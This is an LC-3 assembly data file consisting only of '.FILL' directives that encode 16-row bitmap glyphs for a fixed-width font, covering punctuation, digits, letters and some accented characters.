.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6C00
.FILL x6C00
.FILL xFE00
.FILL x6C00
.FILL x6C00
.FILL x6C00
.FILL xFE00
.FILL x6C00
.FILL x6C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x7C00
.FILL xC600
.FILL xC200
.FILL xC000
.FILL x7C00
.FILL x0600
.FILL x0600
.FILL x8600
.FILL xC600
.FILL x7C00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC200
.FILL xC600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC600
.FILL x8600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x6C00
.FILL x3800
.FILL x7600
.FILL xDC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x6000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x3C00
.FILL xFF00
.FILL x3C00
.FILL x6600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0200
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC000
.FILL x8000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3800
.FILL x7800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC000
.FILL xC600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL x0600
.FILL x0600
.FILL x3C00
.FILL x0600
.FILL x0600
.FILL x0600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0C00
.FILL x1C00
.FILL x3C00
.FILL x6C00
.FILL xCC00
.FILL xFE00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x1E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xFC00
.FILL x0600
.FILL x0600
.FILL x0600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6000
.FILL xC000
.FILL xC000
.FILL xFC00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC600
.FILL x0600
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7E00
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0C00
.FILL x7800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0C00
.FILL x0600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL x0C00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xDE00
.FILL xDE00
.FILL xDE00
.FILL xDC00
.FILL xC000
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL xFC00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL xC200
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC200
.FILL x6600
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xF800
.FILL x6C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6C00
.FILL xF800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x6600
.FILL x6200
.FILL x6800
.FILL x7800
.FILL x6800
.FILL x6000
.FILL x6200
.FILL x6600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL x6600
.FILL x6200
.FILL x6800
.FILL x7800
.FILL x6800
.FILL x6000
.FILL x6000
.FILL x6000
.FILL xF000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL xC200
.FILL xC000
.FILL xC000
.FILL xDE00
.FILL xC600
.FILL xC600
.FILL x6600
.FILL x3A00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1E00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xE600
.FILL x6600
.FILL x6600
.FILL x6C00
.FILL x7800
.FILL x7800
.FILL x6C00
.FILL x6600
.FILL x6600
.FILL xE600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xF000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6200
.FILL x6600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xEE00
.FILL xFE00
.FILL xFE00
.FILL xD600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xE600
.FILL xF600
.FILL xFE00
.FILL xDE00
.FILL xCE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL xF000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xD600
.FILL xDE00
.FILL x7C00
.FILL x0C00
.FILL x0E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x6C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL xE600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL x6000
.FILL x3800
.FILL x0C00
.FILL x0600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL x7E00
.FILL x5A00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x3800
.FILL x1000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xD600
.FILL xD600
.FILL xD600
.FILL xFE00
.FILL xEE00
.FILL x6C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x7C00
.FILL x3800
.FILL x3800
.FILL x7C00
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xC600
.FILL x8600
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC200
.FILL xC600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x8000
.FILL xC000
.FILL xE000
.FILL x7000
.FILL x3800
.FILL x1C00
.FILL x0E00
.FILL x0600
.FILL x0200
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x0C00
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xE000
.FILL x6000
.FILL x6000
.FILL x7800
.FILL x6C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1C00
.FILL x0C00
.FILL x0C00
.FILL x3C00
.FILL x6C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x6400
.FILL x6000
.FILL xF000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL x6000
.FILL xF000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7C00
.FILL x0C00
.FILL xCC00
.FILL x7800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xE000
.FILL x6000
.FILL x6000
.FILL x6C00
.FILL x7600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL xE600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0600
.FILL x0600
.FILL x0000
.FILL x0E00
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x0600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xE000
.FILL x6000
.FILL x6000
.FILL x6600
.FILL x6C00
.FILL x7800
.FILL x7800
.FILL x6C00
.FILL x6600
.FILL xE600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xEC00
.FILL xFE00
.FILL xD600
.FILL xD600
.FILL xD600
.FILL xD600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xDC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xDC00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x7C00
.FILL x6000
.FILL x6000
.FILL xF000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7C00
.FILL x0C00
.FILL x0C00
.FILL x1E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xDC00
.FILL x7600
.FILL x6600
.FILL x6000
.FILL x6000
.FILL x6000
.FILL xF000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL x6000
.FILL x3800
.FILL x0C00
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3000
.FILL x3000
.FILL xFC00
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3600
.FILL x1C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xD600
.FILL xD600
.FILL xD600
.FILL xFE00
.FILL x6C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x6C00
.FILL x3800
.FILL x3800
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7E00
.FILL x0600
.FILL x0C00
.FILL xF800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xCC00
.FILL x1800
.FILL x3000
.FILL x6000
.FILL xC600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7600
.FILL xDC00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL xC200
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xC200
.FILL x6600
.FILL x3C00
.FILL x0C00
.FILL x0600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xCC00
.FILL x0000
.FILL x0000
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0C00
.FILL x1800
.FILL x3000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xCC00
.FILL x0000
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x7800
.FILL x0C00
.FILL x7C00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL x6000
.FILL x6000
.FILL x6600
.FILL x3C00
.FILL x0C00
.FILL x0600
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xFE00
.FILL xC000
.FILL xC000
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x6600
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6000
.FILL x3000
.FILL x1800
.FILL x0000
.FILL x3800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL x3800
.FILL x0000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL xFE00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3000
.FILL x6000
.FILL x0000
.FILL xFE00
.FILL x6600
.FILL x6000
.FILL x7C00
.FILL x6000
.FILL x6000
.FILL x6600
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xCC00
.FILL x7600
.FILL x3600
.FILL x7E00
.FILL xD800
.FILL xD800
.FILL x6E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3E00
.FILL x6C00
.FILL xCC00
.FILL xCC00
.FILL xFE00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x6C00
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC600
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
